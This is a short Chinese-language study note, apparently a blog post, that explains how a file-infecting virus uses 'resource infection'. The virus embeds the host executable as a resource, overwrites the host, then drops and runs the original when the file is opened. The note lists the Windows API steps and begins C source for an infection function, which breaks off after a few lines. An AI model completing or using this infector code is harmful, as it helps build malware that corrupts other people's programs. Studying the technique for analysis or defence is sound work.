本文学习自:关于感染型病毒的那些事(三) by gaa_ra 代码也来自gaa_ra
资源感染,就是将宿主程序作为病毒程序的一个资源来保存,将附加了宿主程序的病毒程序覆盖原来的宿主程序,当打开病毒文件时,病毒发作并将宿主程序释放出来运行。
进行资源感染后,打开感染文件的过程大致如下:
CreateFile创建资源文件,用于存放要被释放出来的宿主文件 --> FindResource查找该资源 --> LoadResource --> SizeofResource --> WriteFile将资源(宿主程序)写入刚刚创建的文件 --> CreateProcess运行宿主程序 --> WaitForSingleObject等待宿主程序结束 --> CloseHandle关闭进程句柄和线程句柄 --> DeleteFile删除刚刚生成的资源文件。将宿主文件作为资源添加到程序可以用UpdateResource来文件,注意,病毒编译时需要有资源,如果病毒本身没有资源,使用UpdateResource会失败,参考代码如下:
void InfectFilesByResource(char *FileName)
{
DWORD dwSizeOfFile;
DWORD dwBytesUsed;
char szTempVirusFile[MAX_PATH];
HANDLE hFile;
HRSRC hResource;
LPBYTE lpBuffer;
hFile = CreateFile(FileName,
GENERIC_READ | GENE